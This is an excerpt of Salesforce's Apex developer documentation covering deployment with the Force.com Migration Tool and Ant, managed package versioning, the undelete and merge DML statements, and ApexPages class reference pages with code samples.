http://ant.apache.org/manual/install.html.
4. Verify that the JDK and Ant are installed correctly by opening a command prompt, and entering ant version. Your output
should look something like this:
Apache Ant version 1.7.0 compiled on December 13 2006

5. Download the Force.com Migration Tool from the Force.com Migration Tool page in Salesforce Developers.
6. Unzip the downloaded file to the directory of your choice. The Zip file contains the following:
A Readme.html file that explains how to use the tools
A Jar file containing the ant task: ant-salesforce.jar
A sample folder containing:
A codepkg\classes folder that contains SampleDeployClass.cls and SampleFailingTestClass.cls
A codepkg\triggers folder that contains SampleAccountTrigger.trigger
A mypkg\objects folder that contains the custom objects used in the examples
A removecodepkg folder that contains XML files for removing the examples from your organization
A sample build.properties file that you must edit, specifying your credentials, in order to run the sample ant tasks
in build.xml
A sample build.xml file, that exercises the deploy and retrieve API calls
7. If you installed a previous version of the Force.com Migration Tool and copied the ant-salesforce.jar file to the Ant lib
directory, delete the jar file in the lib directory. The lib directory is located in the root folder of your Ant installation. The Force.com
Migration Tool uses the ant-salesforce.jar file thats in the distribution ZIP file. You dont need to copy this file to the Ant
lib directory.
8. Open the sample subdirectory in the unzipped file.
9. Edit the build.properties file:
a. Enter your Salesforce production organization username and password for the sf.user and sf.password fields,
respectively.
Note:
The username you specify should have the authority to edit Apex.
If you are using the Force.com Migration Tool from an untrusted network, append a security token to the password.
To learn more about security tokens, see Reset Your Security Token in the Salesforce online help.

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Understanding deploy

b. If you are deploying to a sandbox organization, change the sf.serverurl field to https://test.salesforce.com.
10. Open a command window in the sample directory.
11. Enter ant deployCode. This runs the deploy API call, using the sample class and Account trigger provided with the Force.com
Migration Tool.
The ant deployCode calls the Ant target named deploy in the build.xml file.

<target name="deployCode">

<sf:deploy username="${sf.username}" password="${sf.password}"
serverurl="${sf.serverurl}" deployroot="codepkg">
<runTest>SampleDeployClass</runTest>
</sf:deploy>
</target>

For more information, see Understanding deploy on page 582.

12. To remove the test class and trigger added as part of the execution of ant deployCode, enter the following in the command
window: ant undeployCode.
ant undeployCode calls the Ant target named undeployCode in the build.xml file.
<target name="undeployCode">
<sf:deploy username="${sf.username}" password="${sf.password}" serverurl=
"${sf.serverurl}" deployroot="removecodepkg"/>
</target>

See the Force.com Migration Tool Guide for full details about the Force.com Migration Tool.

Understanding deploy
The Force.com Migration Tool provides the deploy task, which can be incorporated into your deployment scripts. You can modify
the build.xml sample to include your organization's classes and triggers. For a complete list of properties for the deploy task, see
the Force.com Migration Tool Guide. Some properties of the deploy task are:
username

The username for logging into the Salesforce production organization.

password

The password associated for logging into the Salesforce production organization.
serverURL

The URL for the Salesforce server you are logging into. If you do not specify a value, the default is login.salesforce.com.
deployRoot

The local directory that contains the Apex classes and triggers, as well as any other metadata, that you want to deploy. The best way
to create the necessary file structure is to retrieve it from your organization or sandbox. See Understanding retrieve on page
583 for more information.
Apex class files must be in a subdirectory named classes. You must have two files for each class, named as follows:
classname.cls
classname.cls-meta.xml

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Deploying Apex

Understanding retrieve

For example, MyClass.cls and MyClass.cls-meta.xml. The -meta.xml file contains the API version and the status
(active/inactive) of the class.
Apex trigger files must be in a subdirectory named triggers. You must have two files for each trigger, named as follows:
triggername.trigger
triggername.trigger-meta.xml
For example, MyTrigger.trigger and MyTrigger.trigger-meta.xml. The -meta.xml file contains the API
version and the status (active/inactive) of the trigger.
The root directory contains an XML file package.xml that lists all the classes, triggers, and other objects to be deployed.
The root directory optionally contains an XML file destructiveChanges.xml that lists all the classes, triggers, and other
objects to be deleted from your organization.
checkOnly

Specifies whether the classes and triggers are deployed to the target environment or not. This property takes a Boolean value: true
if you do not want to save the classes and triggers to the organization, false otherwise. If you do not specify a value, the default
is false.
runTest

Optional child elements. A list of Apex classes containing tests run after deployment. To use this option, set testLevel to
RunSpecifiedTests.
testLevel

Optional. Specifies which tests are run as part of a deployment. The test level is enforced regardless of the types of components that
are present in the deployment package. Valid values are:
NoTestRunNo tests are run. This test level applies only to deployments to development environments, such as sandbox,
Developer Edition, or trial organizations. This test level is the default for development environments.
RunSpecifiedTestsOnly the tests that you specify in the runTests option are run. Code coverage requirements
differ from the default coverage requirements when using this test level. Each class and trigger in the deployment package must
be covered by the executed tests for a minimum of 75% code coverage. This coverage is computed for each class and trigger
individually and is different than the overall coverage percentage.
RunLocalTestsAll tests in your org are run, except the ones that originate from installed managed packages. This test
level is the default for production deployments that include Apex classes or triggers.
RunAllTestsInOrgAll tests are run. The tests include all tests in your org, including tests of managed packages.
If you dont specify a test level, the default test execution behavior is used. See Running Tests in a Deployment in the Metadata API
Developers Guide.
This field is available in API version 34.0 and later.
runAllTests

(Deprecated and available only in API version 33.0 and earlier.) This parameter is optional and defaults to false. Set to true to
run all Apex tests after deployment, including tests that originate from installed managed packages.

Understanding retrieve
Use the retrieveCode target to retrieve classes and triggers from your sandbox or production organization. During the normal
deploy cycle, you would run retrieveCode prior to deploy, in order to obtain the correct directory structure for your new classes
and triggers. However, for this example, deploy is used first, to ensure that there is something to retrieve.

583

Deploying Apex

Understanding retrieve

To retrieve classes and triggers from an existing organization, use the retrieve ant task as illustrated by the sample build target ant
retrieveCode:
<target name="retrieveCode">

<sf:retrieve username="${sf.username}" password="${sf.password}"
serverurl="${sf.serverurl}" retrieveTarget="codepkg"
unpackaged="codepkg/package.xml"/>
</target>

The file codepkg/package.xml lists the metadata components to be retrieved. In this example, it retrieves two classes and one
trigger. The retrieved files are put into the directory codepkg, overwriting everything already in the directory.
The properties for the retrieve task are as follows:
Field

Description

username

Required if sessionId isnt specified. The Salesforce username for login. The username
associated with this connection must have the Modify All Data permission. Typically, this
is only enabled for System Administrator users.

password

Required if sessionId isnt specified. The password you use to log into the organization
associated with this project. If you are using a security token, paste the 25-digit token value
to the end of your password.

sessionId

Required if username and password arent specified. The ID of an active Salesforce

session or the OAuth access token. A session is created after a user logs in to Salesforce
successfully with a username and password. Use a session ID for logging in to an existing
session instead of creating a new session. Alternatively, use an access token for OAuth
authentication. For more information, see Authenticating Apps with OAuth in the Salesforce
Help.

serverurl

Optional. The Salesforce server URL (if blank, defaults to login.salesforce.com).

To connect to a sandbox instance, change this to test.salesforce.com.

retrieveTarget

Required. The root of the directory structure into which the metadata files are retrieved.

packageNames

Required if unpackaged is not specified. A comma-separated list of the names of the

packages to retrieve. You must specify either packageNames or unpackaged, but
not both.

apiVersion

Optional. The Metadata API version to use for the retrieved metadata files. The default is
37.0.

pollWaitMillis

Optional. Defaults to 10000. The number of milliseconds to wait between attempts when
polling for results of the retrieve request. The client continues to poll the server up to the
limit defined by maxPoll.

maxPoll

Optional. Defaults to 200. The number of times to poll the server for the results of the
retrieve request. The wait time between successive poll attempts is defined by
pollWaitMillis.

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Using SOAP API to Deploy Apex

Field

Description

singlePackage

Optional. Defaults to true. This must be set to false if you are retrieving multiple
packages. If set to false, the retrieved zip file includes an extra top-level directory
containing a subdirectory for each package.

trace

Optional. Defaults to false. Prints the SOAP requests and responses to the console. Note
that this will show the user's password in plain text during login.

unpackaged

Required if packageNames is not specified. The path and name of a file manifest that
specifies the components to retrieve. You must specify either unpackaged or
packageNames, but not both.

unzip

Optional. Defaults to true. If set to true, the retrieved components are unzipped. If set
to false, the retrieved components are saved as a zip file in the retrieveTarget
directory.

Using SOAP API to Deploy Apex

If you do not want to use the Force.com IDE, change sets, or the Force.com Migration Tool to deploy Apex, you can use the following
SOAP API calls to deploy your Apex to a development or sandbox organization:
compileAndTest()
compileClasses()
compileTriggers()
All these calls take Apex code that contains the class or trigger, as well as the values for any fields that need to be set.

585

CHAPTER 15 Distributing Apex Using Managed Packages

In this chapter ...

What is a Package?

Package Versions

Deprecating Apex

Behavior in Package
Versions

As an ISV or Salesforce partner, you can distribute Apex code to customer organizations using packages.
This chapter describes packages and package versioning.

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Distributing Apex Using Managed Packages

What is a Package?

What is a Package?
A package is a container for something as small as an individual component or as large as a set of related apps. After creating a package,
you can distribute it to other Salesforce users and organizations, including those outside your company. An organization can create a
single managed package that can be downloaded and installed by many different organizations. Managed packages differ from
unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages
do not include locked components and cannot be upgraded.

Package Versions
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version
has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
When an existing subscriber installs a new package version, there is still only one instance of each component in the package, but the
components can emulate older versions. For example, a subscriber may be using a managed package that contains an Apex class. If the
publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber still sees only one instance
of the Apex class after installing the new version. However, this Apex class can still emulate the previous version for any code that
references the deprecated method in the older version.
Note the following when developing Apex in managed packages:
The code contained in an Apex class or trigger that is part of a managed package is automatically obfuscated and cannot be viewed
in an installing organization. The only exceptions are methods declared as global, meaning that the method signatures can be
viewed in an installing organization.
Managed packages receive a unique namespace. This namespace is automatically prepended to your class names, methods, variables,
and so on, which helps prevent duplicate names in the installers organization.
In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes a
class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a different
class in a different package. Even though the second package wasnt accessed directly by the first, because it occurs in the same
transaction, its included in the number of namespaces being accessed in a single transaction.
Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and variables
that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are
refactoring code in managed packages as the requirements evolve.
You can write test methods that change the package version context to a different package version by using the system method
runAs.
You cannot add a method to a global interface or an abstract method to a global class after the interface or class has been uploaded
in a Managed - Released package version. If the class in the Managed - Released package is virtual, the method that you can add to
it must also be virtual and must have an implementation.
Apex code contained in an unmanaged package that explicitly references a namespace cannot be uploaded.

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Distributing Apex Using Managed Packages

Deprecating Apex

Deprecating Apex
Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and variables
that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are
refactoring code in managed packages as the requirements evolve. After you upload another package version as Managed - Released,
new subscribers that install the latest package version cannot see the deprecated elements, while the elements continue to function
for existing subscribers and API integrations. A deprecated item, such as a method or a class, can still be referenced internally by the
package developer.
Note: You cannot use the deprecated annotation in Apex classes or triggers in unmanaged packages.
Package developers can use Managed - Beta package versions for evaluation and feedback with a pilot set of users in different Salesforce
organizations. If a developer deprecates an Apex identifier and then uploads a version of the package as Managed - Beta, subscribers
that install the package version still see the deprecated identifier in that package version. If the package developer subsequently uploads
a Managed - Released package version, subscribers will no longer see the deprecated identifier in the package version after they install
it.

Behavior in Package Versions

A package component can exhibit different behavior in different package versions. This behavior versioning allows you to add new
components to your package and refine your existing components, while still ensuring that your code continues to work seamlessly for
existing subscribers. If a package developer adds a new component to a package and uploads a new package version, the new component
is available to subscribers that install the new package version.

Versioning Apex Code Behavior

Package developers can use conditional logic in Apex classes and triggers to exhibit different behavior for different versions. This allows
the package developer to continue to support existing behavior in classes and triggers in previous package versions while continuing
to evolve the code.
When subscribers install multiple versions of your package and write code that references Apex classes or triggers in your package, they
must select the version they are referencing. Within the Apex code that is being referenced in your package, you can conditionally
execute different code paths based on the version setting of the calling Apex code that is making the reference. The package version
setting of the calling code can be determined within the package code by calling the System.requestVersion method. In this
way, package developers can determine the request context and specify different behavior for different versions of the package.
The following sample uses the System.requestVersion method and instantiates the System.Version class to define
different behaviors in an Apex trigger for different package versions.
trigger oppValidation on Opportunity (before insert, before update) {
for (Opportunity o : Trigger.new){
// Add a new validation to the package
// Applies to versions of the managed package greater than 1.0
if (System.requestVersion().compareTo(new Version(1,0)) > 0) {
if (o.Probability >= 50 && o.Description == null) {
o.addError('All deals over 50% require a description');
}
}

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Distributing Apex Using Managed Packages

Apex Code Items that Are Not Versioned

// Validation applies to all versions of the managed package.

if (o.IsWon == true && o.LeadSource == null) {
o.addError('A lead source must be provided for all Closed Won deals');
}
}
}

For a full list of methods that work with package versions, see Version Class and the System.requestVersion method in System
Class.
The request context is persisted if a class in the installed package invokes a method in another class in the package. For example, a
subscriber has installed a GeoReports package that contains CountryUtil and ContinentUtil Apex classes. The subscriber creates a new
GeoReportsEx class and uses the version settings to bind it to version 2.3 of the GeoReports package. If GeoReportsEx invokes a method
in ContinentUtil which internally invokes a method in CountryUtil, the request context is propagated from ContinentUtil to CountryUtil
and the System.requestVersion method in CountryUtil returns version 2.3 of the GeoReports package.

Apex Code Items that Are Not Versioned

You can change the behavior of some Apex items across package versions. For example, you can deprecate a method so that new
subscribers can no longer reference the package in a subsequent version.
However, the following list of modifiers, keywords, and annotations cannot be versioned. If a package developer makes changes to one
of the following modifiers, keywords, or annotations, the changes are reflected across all package versions.
There are limitations on the changes that you can make to some of these items when they are used in Apex code in managed packages.
Package developers can add or remove the following items:
@future
@isTest
with sharing
without sharing
transient
Package developers can make limited changes to the following items:
privatecan be changed to global
publiccan be changed to global
protectedcan be changed to global
abstractcan be changed to virtual but cannot be removed
finalcan be removed but cannot be added
Package developers cannot remove or change the following items:
global
virtual
Package developers can add the webService keyword, but once it has been added, it cannot be removed.
Note: You cannot deprecate webService methods or variables in managed package code.

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Distributing Apex Using Managed Packages

Testing Behavior in Package Versions

When you change the behavior in an Apex class or trigger for different package versions, it is important to test that your code runs as
expected in the different package versions. You can write test methods that change the package version context to a different package
version by using the system method runAs. You can only use runAs in a test method.
The following sample shows a trigger with different behavior for different package versions.
trigger oppValidation on Opportunity (before insert, before update) {
for (Opportunity o : Trigger.new){
// Add a new validation to the package
// Applies to versions of the managed package greater than 1.0
if (System.requestVersion().compareTo(new Version(1,0)) > 0) {
if (o.Probability >= 50 && o.Description == null) {
o.addError('All deals over 50% require a description');
}
}
// Validation applies to all versions of the managed package.
if (o.IsWon == true && o.LeadSource == null) {
o.addError('A lead source must be provided for all Closed Won deals');
}
}
}

The following test class uses the runAs method to verify the trigger's behavior with and without a specific version:
@isTest
private class OppTriggerTests{
static testMethod void testOppValidation(){
// Set up 50% opportunity with no description
Opportunity o = new Opportunity();
o.Name = 'Test Job';
o.Probability = 50;
o.StageName = 'Prospect';
o.CloseDate = System.today();
// Test running as latest package version
try{
insert o;
}
catch(System.DMLException e){
System.assert(
e.getMessage().contains(
'All deals over 50% require a description'),
e.getMessage());
}
// Run test as managed package version 1.0
System.runAs(new Version(1,0)){
try{

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Testing Behavior in Package Versions

insert o;
}
catch(System.DMLException e){
System.assert(false, e.getMessage());
}
}
// Set up a closed won opportunity with no lead source
o = new Opportunity();
o.Name = 'Test Job';
o.Probability = 50;
o.StageName = 'Prospect';
o.CloseDate = System.today();
o.StageName = 'Closed Won';
// Test running as latest package version
try{
insert o;
}
catch(System.DMLException e){
System.assert(
e.getMessage().contains(
'A lead source must be provided for all Closed Won deals'),
e.getMessage());
}
// Run test as managed package version 1.0
System.runAs(new Version(1,0)){
try{
insert o;
}
catch(System.DMLException e){
System.assert(
e.getMessage().contains(
'A lead source must be provided for all Closed Won deals'),
e.getMessage());
}
}
}
}

Syntax
undelete sObject | ID
undelete sObject[] | ID[]

Example
The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and aggregate
relationships, including deleted records and archived activities.
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Trump' ALL ROWS];
try {
undelete savedAccts;
} catch (DmlException e) {
// Process exception here
}

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.

Merge Statement
The merge statement merges up to three records of the same sObject type into one of the records, deleting the others, and re-parenting
any related records.
Note: This DML operation does not have a matching Database system method.

Syntax
merge sObject sObject
merge sObject sObject[]
merge sObject ID

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merge sObject ID[]

The first parameter represents the master record into which the other records are to be merged. The second parameter represents the
one or two other records that should be merged and then deleted. You can pass these other records into the merge statement as a
single sObject record or ID, or as a list of two sObject records or IDs.

Example
The following example merges two accounts named 'Acme Inc.' and 'Acme' into a single record:
List<Account> ls = new List<Account>{new Account(name='Acme Inc.'),new Account(name='Acme')};
insert ls;
Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
try {
merge masterAcct mergeAcct;
} catch (DmlException e) {
// Process exception here
}

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.

ApexPages Namespace
The ApexPages namespace provides classes used in Visualforce controllers.
The following are the classes in the ApexPages namespace.
IN THIS SECTION:
Action Class
You can use ApexPages.Action to create an action method that you can use in a Visualforce custom controller or controller
extension.
Component Class
Represents a dynamic Visualforce component in Apex.
IdeaStandardController Class
IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the
StandardController.

IdeaStandardSetController Class
IdeaStandardSetController objects offer Ideas-specific functionality in addition to what is provided by the
StandardSetController.

KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is
provided by the StandardController.

Message Class
Contains validation errors that occur when the end user saves the page when using a standard controller.
StandardController Class
Use a StandardController when defining an extension for a standard controller.

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Reference

Action Class

StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce

list controllers provided by Salesforce.

Action Class
You can use ApexPages.Action to create an action method that you can use in a Visualforce custom controller or controller
extension.

Namespace
ApexPages

Usage
For example, you could create a saveOver method on a controller extension that performs a custom save.

Instantiation
The following code snippet illustrates how to instantiate a new ApexPages.Action object that uses the save action:
ApexPages.Action saveAction = new ApexPages.Action('{!save}');

Example
In the following example, when the user updates or creates a new Account and clicks the Save button, in addition to the account being
updated or created, the system writes a message to the system debug log. This example extends the standard controller for Account.
The following is the controller extension.
public class pageCon{
public PageReference RedirectToStep2(){
// ...
// ...
return Page.Step2;
}
}

The following is the Visualforce markup for a page that uses the above controller extension.
<apex:component>
<apex:attribute name="actionToInvoke" type="ApexPages.Action" ... />
...
<apex:commandButton value="Perform Controller Action" action="{!actionToInvoke}"/>
</apex:component>
<apex:page controller="pageCon">
...
<c:myComp actionToInvoke="{!RedirectToStep2}"/>
</apex:page>

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Action Class

For information on the debug log, see Viewing Debug Logs in the Salesforce online help.
IN THIS SECTION:
Action Constructors
Action Methods

Action Constructors
The following are constructors for Action.
IN THIS SECTION:
Action(action)
Creates a new instance of the ApexPages.Action class using the specified action.

Action(action)
Creates a new instance of the ApexPages.Action class using the specified action.

Signature
public Action(String action)

Parameters
action

Type: String
The action.

Action Methods
The following are methods for Action. All are instance methods.
IN THIS SECTION:
getExpression()
Returns the expression that is evaluated when the action is invoked.
invoke()
Invokes the action.

getExpression()
Returns the expression that is evaluated when the action is invoked.

Signature
public String getExpression()

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Reference

Component Class

Return Value
Type: String

invoke()
Invokes the action.

Signature
public System.PageReference invoke()

Return Value
Type: System.PageReference

Component Class
Represents a dynamic Visualforce component in Apex.

Namespace
ApexPages

Dynamic Component Properties

The following are properties for Component.
IN THIS SECTION:
childComponents
Returns a reference to the child components for the component.
expressions
Sets the content of an attribute using the expression language notation. The notation for this is
expressions.name_of_attribute.
facets
Sets the content of a facet to a dynamic component. The notation for this is facet.name_of_facet.

childComponents
Returns a reference to the child components for the component.

Signature
public List <ApexPages.Component> childComponents {get; set;}

Property Value
Type: List<ApexPages.Component>

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Example
Component.Apex.PageBlock pageBlk = new Component.Apex.PageBlock();
Component.Apex.PageBlockSection pageBlkSection = new
Component.Apex.PageBlockSection(title='dummy header');
pageBlk.childComponents.add(pageBlkSection);

expressions
Sets the content of an attribute using the expression language notation. The notation for this is expressions.name_of_attribute.

Signature
public String expressions {get; set;}

Property Value
Type: String

Example
Component.Apex.InputField inpFld = new
Component.Apex.InputField();
inpField.expressions.value = '{!Account.Name}';
inpField.expressions.id = '{!$User.FirstName}';

facets
Sets the content of a facet to a dynamic component. The notation for this is facet.name_of_facet.

Signature
public String facets {get; set;}

Property Value
Type: String

Usage
Note: This property is only accessible by components that support facets.

Example
Component.Apex.DataTable myDT = new
Component.Apex.DataTable();
ApexPages.Component.OutputText footer = new

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IdeaStandardController Class

Component.Apex.OutputText(value='Footer Copyright');
myDT.facets.footer = footer;

IdeaStandardController Class
IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the
StandardController.

Namespace
ApexPages

Usage
A method in the IdeaStandardController object is called by and operated on a particular instance of an IdeaStandardController.
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your Salesforce representative.
In addition to the methods listed in this class, the IdeaStandardController class inherits all the methods associated with the
StandardController class.

Instantiation
An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension
controller when using the standard ideas controller.

Example
The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller. This
example provides the framework for manipulating the comment list data before displaying it on a Visualforce page.
public class MyIdeaExtension {
private final ApexPages.IdeaStandardController ideaController;
public MyIdeaExtension(ApexPages.IdeaStandardController controller) {
ideaController = (ApexPages.IdeaStandardController)controller;
}
public List<IdeaComment> getModifiedComments() {
IdeaComment[] comments = ideaController.getCommentList();
// modify comments here
return comments;
}
}

The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This page must
be named detailPage for this example to work.

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Note: For the Visualforce page to display the idea and its comments, in the following example you need to specify the ID of a
specific idea (for example, /apex/detailPage?id=<ideaID>) whose comments you want to view.

<apex:page standardController="Idea" extensions="MyIdeaExtension">
<apex:pageBlock title="Idea Section">
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}">{!idea.title}
</ideas:detailOutputLink>
<br/><br/>
<apex:outputText >{!idea.body}</apex:outputText>
</apex:pageBlock>
<apex:pageBlock title="Comments Section">
<apex:dataList var="a" value="{!modifiedComments}" id="list">
{!a.commentBody}
</apex:dataList>
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}"
pageOffset="-1">Prev</ideas:detailOutputLink>
|
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}"
pageOffset="1">Next</ideas:detailOutputLink>
</apex:pageBlock>
</apex:page>

Example: Displaying a Profile Page

The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:
public class MyIdeaProfileExtension {
private final ApexPages.IdeaStandardSetController ideaSetController;
public MyIdeaProfileExtension(ApexPages.IdeaStandardSetController controller) {
ideaSetController = (ApexPages.IdeaStandardSetController)controller;
}
public List<Idea> getModifiedIdeas() {
Idea[] ideas = ideaSetController.getIdeaList();
// modify ideas here
return ideas;
}
}

The following Visualforce markup shows how the IdeaStandardSetController example shown above and the
<ideas:profileListOutputLink> component can display a profile page that lists the recent replies, submitted ideas, and

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votes associated with a user. Because this example does not identify a specific user ID, the page automatically shows the profile page
for the current logged in user. This page must be named profilePage in order for this example to work:

<apex:page standardController="Idea" extensions="MyIdeaProfileExtension"
recordSetVar="ideaSetVar">
<apex:pageBlock >
<ideas:profileListOutputLink sort="recentReplies" page="profilePage">
Recent Replies</ideas:profileListOutputLink>
|
<ideas:profileListOutputLink sort="ideas" page="profilePage">Ideas Submitted
</ideas:profileListOutputLink>
|
<ideas:profileListOutputLink sort="votes" page="profilePage">Ideas Voted
</ideas:profileListOutputLink>
</apex:pageBlock>
<apex:pageBlock >
<apex:dataList value="{!modifiedIdeas}" var="ideadata">
<ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>

In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays
the detail page for a specific idea. This page must be named viewPage in order for this example to work:

<apex:page standardController="Idea">
<apex:pageBlock title="Idea Section">
<ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title}
</ideas:detailOutputLink>
<br/><br/>
<apex:outputText>{!idea.body}</apex:outputText>
</apex:pageBlock>
</apex:page>

Example: Displaying a List of Top, Recent, and Most Popular Ideas and Comments
The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:
Note: You must have created at least one idea for this example to return any ideas.
public class MyIdeaListExtension {
private final ApexPages.IdeaStandardSetController ideaSetController;
public MyIdeaListExtension (ApexPages.IdeaStandardSetController controller) {
ideaSetController = (ApexPages.IdeaStandardSetController)controller;
}
public List<Idea> getModifiedIdeas() {
Idea[] ideas = ideaSetController.getIdeaList();
// modify ideas here

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Reference

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return ideas;
}
}

The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the
<ideas:listOutputLink> component to display a list of recent, top, and most popular ideas and comments. This page must
be named listPage in order for this example to work:

<apex:page standardController="Idea" extensions="MyIdeaListExtension"
recordSetVar="ideaSetVar">
<apex:pageBlock >
<ideas:listOutputLink sort="recent" page="listPage">Recent Ideas
</ideas:listOutputLink>
|
<ideas:listOutputLink sort="top" page="listPage">Top Ideas
</ideas:listOutputLink>
|
<ideas:listOutputLink sort="popular" page="listPage">Popular Ideas
</ideas:listOutputLink>
|
<ideas:listOutputLink sort="comments" page="listPage">Recent Comments
</ideas:listOutputLink>
</apex:pageBlock>
<apex:pageBlock >
<apex:dataList value="{!modifiedIdeas}" var="ideadata">
<ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>

In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays
the detail page for a specific idea. This page must be named viewPage.

<apex:page standardController="Idea">
<apex:pageBlock title="Idea Section">
<ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title}
</ideas:detailOutputLink>
<br/><br/>
<apex:outputText>{!idea.body}</apex:outputText>
</apex:pageBlock>
</apex:page>

ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary);

where ApexPages.severity is the enum that is determines how severe a message is, and summary is the String used to
summarize the message. For example:
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.Severity.FATAL, 'my error
msg');

ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary, detail);

where ApexPages. severity is the enum that is determines how severe a message is, summary is the String used to
summarize the message, and detail is the String used to provide more detailed information about the error.

ApexPages.Severity Enum
Using the ApexPages.Severity enum values, specify the severity of the message. The following are the valid values:
CONFIRM
ERROR
FATAL
INFO
WARNING
All enums have access to standard methods, such as name and value.
IN THIS SECTION:
Message Constructors
Message Methods

Message Constructors
The following are constructors for Message.
IN THIS SECTION:
Message(severity, summary)
Creates a new instance of the ApexPages.Message class using the specified message severity and summary.
Message(severity, summary, detail)
Creates a new instance of the ApexPages.Message class using the specified message severity, summary, and message detail.
Message(severity, summary, detail, id)
Creates a new instance of the ApexPages.Message class using the specified severity, summary, detail, and component ID.

Message(severity, summary)
Creates a new instance of the ApexPages.Message class using the specified message severity and summary.

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Reference

Message Class

Signature
public Message(ApexPages.Severity severity, String summary)

Parameters
severity

Type: ApexPages.Severity
The severity of a Visualforce message.
summary

Type: String
The summary Visualforce message.

Message(severity, summary, detail)

Creates a new instance of the ApexPages.Message class using the specified message severity, summary, and message detail.

Signature
public Message(ApexPages.Severity severity, String summary, String detail)

Parameters
severity

Type: ApexPages.Severity
The severity of a Visualforce message.
summary

Type: String
The summary Visualforce message.
detail

Type: String
The detailed Visualforce message.

Message(severity, summary, detail, id)

Creates a new instance of the ApexPages.Message class using the specified severity, summary, detail, and component ID.

Signature
public Message(ApexPages.Severity severity, String summary, String detail, String id)

Parameters
severity

Type: ApexPages.Severity
The severity of a Visualforce message.

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Reference

Message Class

summary

Type: String
The summary Visualforce message.
detail

Type: String
The detailed Visualforce message.
id

Type: String
The ID of the Visualforce component to associate with the message, for example, a form field with an error.

Message Methods
The following are methods for Message. All are instance methods.
IN THIS SECTION:
getComponentLabel()
Returns the label of the associated inputField component. If no label is defined, this method returns null.
getDetail()
Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null.
getSeverity()
Returns the severity enum used to create the message.
getSummary()
Returns the summary String used to create the message.

getComponentLabel()
Returns the label of the associated inputField component. If no label is defined, this method returns null.

Signature
public String getComponentLabel()

Return Value
Type: String

getDetail()
Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null.

Signature
public String getDetail()

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Reference

StandardController Class

Return Value
Type: String

getSeverity()
Returns the severity enum used to create the message.

Signature
public ApexPages.Severity getSeverity()

Return Value
Type: ApexPages.Severity

getSummary()
Returns the summary String used to create the message.

Signature
public String getSummary()

Return Value
Type: String

StandardController Class
Use a StandardController when defining an extension for a standard controller.

Namespace
ApexPages

Usage
StandardController objects reference the pre-built Visualforce controllers provided by Salesforce. The only time it is necessary to refer
to a StandardController object is when defining an extension for a standard controller. StandardController is the data type of the single
argument in the extension class constructor.

Instantiation
You can instantiate a StandardController in the following way:
ApexPages.StandardController sc = new ApexPages.StandardController(sObject);

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Reference

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Example
The following example shows how a StandardController object can be used in the constructor for a standard controller extension:
public class myControllerExtension {
private final Account acct;
// The extension constructor initializes the private member
// variable acct by using the getRecord method from the standard
// controller.
public myControllerExtension(ApexPages.StandardController stdController) {
this.acct = (Account)stdController.getRecord();
}
public String getGreeting() {
return 'Hello ' + acct.name + ' (' + acct.id + ')';
}
}

The following Visualforce markup shows how the controller extension from above can be used in a page:
<apex:page standardController="Account" extensions="myControllerExtension">
{!greeting} <p/>
<apex:form>
<apex:inputField value="{!account.name}"/> <p/>
<apex:commandButton value="Save" action="{!save}"/>
</apex:form>
</apex:page>

IN THIS SECTION:
StandardController Constructors
StandardController Methods

StandardController Constructors
The following are constructors for StandardController.
IN THIS SECTION:
StandardController(controllerSObject)
Creates a new instance of the ApexPages.StandardController class for the specified standard or custom object.

StandardController(controllerSObject)
Creates a new instance of the ApexPages.StandardController class for the specified standard or custom object.

Signature
